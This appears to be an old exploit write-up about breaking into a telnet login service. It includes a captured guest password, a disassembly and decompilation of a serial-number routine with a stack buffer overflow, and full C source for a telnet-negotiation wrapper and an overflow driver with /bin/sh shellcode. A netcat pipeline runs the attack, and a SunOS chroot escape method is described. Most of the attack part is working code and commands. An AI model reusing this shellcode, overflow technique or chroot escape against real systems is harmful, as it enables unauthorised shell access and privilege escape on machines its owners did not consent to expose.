This is the session in which we found the password. Server responses start with '<', comments start with '#', "\x03" is like in normal C string. # Just sniffed most of this from the client KOFLOG guest eYuPgOwFz\x03 push %ebp 08048d45 mov %esp,%ebp 08048d47 sub $0xd8,%esp 08048d4d add $0xfffffff4,%esp Possible reference to string: "Serial Number: " 08048d50 push $0x80498e0 Reference to function : printf@@SYSVABI_1.3 08048d55 call 08048b84 <_init+0x204> 08048d5a add $0x10,%esp 08048d5d add $0xfffffffc,%esp 08048d60 push $0x804ad00 08048d65 push $0x100 08048d6a lea 0xffffff38(%ebp),%eax 08048d70 push %eax Reference to function : fgets@@SYSVABI_1.3 08048d71 call 08048a54 <_init+0xd4> 08048d76 add $0x10,%esp 08048d79 add $0xfffffff8,%esp 08048d7c push $0xa 08048d7e lea 0xffffff38(%ebp),%eax 08048d84 push %eax Reference to function : strchr@@SYSVABI_1.3 08048d85 call 080489e4 <_init+0x64> 08048d8a add $0x10,%esp 08048d8d mov %eax,%eax 08048d8f mov %eax,%edx 08048d91 mov %edx,0xffffff34(%ebp) 08048d97 test %edx,%edx 08048d99 je 08048dba 08048d9b lea 0xffffff38(%ebp),%eax 08048da1 mov 0xffffff34(%ebp),%edx 08048da7 sub %eax,%edx 08048da9 cmp $0x100,%edx 08048daf jg 08048dba 08048db1 mov 0xffffff34(%ebp),%eax 08048db7 movb $0x0,(%eax) Referenced from jump at 08048d99 (C); 08048daf (C); 08048dba movb $0x0,0x37(%ebp) 08048dbe add $0xfffffff4,%esp 08048dc1 lea 0xffffff38(%ebp),%eax 08048dc7 push %eax Reference to function : strlen@@SYSVABI_1.3 08048dc8 call 08048a04 <_init+0x84> 08048dcd add $0x10,%esp 08048dd0 mov %eax,%eax 08048dd2 lea 0xffffff38(%ebp),%edx 08048dd8 movb $0x0,(%eax,%edx,1) 08048ddc add $0xfffffffc,%esp 08048ddf push $0xc8 08048de4 lea 0xffffff38(%ebp),%eax 08048dea push %eax 08048deb mov 0x8(%ebp),%eax 08048dee push %eax Reference to function : strncpy@@SYSVABI_1.3 08048def call 08048b14 <_init+0x194> 08048df4 add $0x10,%esp 08048df7 leave 08048df8 ret 08048df9 lea 0x0(%esi),%esi which boils down to: char * get_serial(char *login, char wat[51]) { char buf[200]; char *p; printf ("Serial Number: "); fgets(buf, 256, stdin); if ((p=strchr(buf, 0xa)) != NULL && p - buf < 256) *p = 0; wat = 0; // movb $0x0,0x37(%ebp) buf[strlen(buf)] = 0; return strncpy(login, buf, 200); } this is a nice simple overflow but there was one problem, we had to do it over the telnet protocol. This ment we had to include some telnet negotiation and put the straem to 8 bit and escape 0x0a and 0xff the exploit was like this: --inittel.c-- char term[] = "\xff\xfb\x18\xff\xfb\x1f\xff\xfa\x1f\x00\x50\x00\x3c\xff\xf0\xff" "\xfc\x23\xff\xfb\x27\xff\xfc\x24" "\xff\xfa\x18\x00\x43\x4f\x4e\x53\x32\x35\xff\xf0\xff\xfa\x27\x00" "\x00\x55\x53\x45\x52\x01\x72\x6f\x6f\x74\xff\xf0" "\xff\xfd\x01\xff\xfd\x03\xff\xfc\x01\xff\xfd\x00\xff\xfb\x00" ; void main(void) { unsigned char bla; write(1, term, sizeof(term)-1); while(read(0, &bla, 1) == 1) { if (bla == 0xff) { write(1, "\xff", 1); } write(1, &bla, 1); if (bla == 0xa) { write(1, "\x00", 1); } } } --shell.c-- char shell[]= "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff"; // "\x74\x6d\x70\x2f\x74\x74\xff\xff\xff\xff\xff\xff"; unsigned int esp = 0x8040000; unsigned int eipinbuf = 204; int main(int argc, char ** argv) { int i; unsigned char buffer[1024]; esp += strtol(argv[1], 0, 0); // printf("Trying esp 0x%x\n", esp); // eipinbuf = strtol(argv[2], 0, 0); bzero(buffer, sizeof(buffer)); memset(buffer, 0x41, 32); strcpy(buffer+32, shell); *(unsigned int *)(buffer + eipinbuf) = (unsigned int)esp; write(1, buffer, eipinbuf+4); write(1, "A\n", 2); } netcat was just the normal l0pht netcat to exploit it we used: (sleep 1; ./shell 30640; sleep 1; cat) | ./inittel | ~/netcat 0 23 which gave us a shell in the chroot environment, all left was break out of chroot which is very simple if sunos lets you open a directory, chroot to a directory in that directory and then let you fchdir out of it. nothing fancy or origional about that, just the plain wellknown method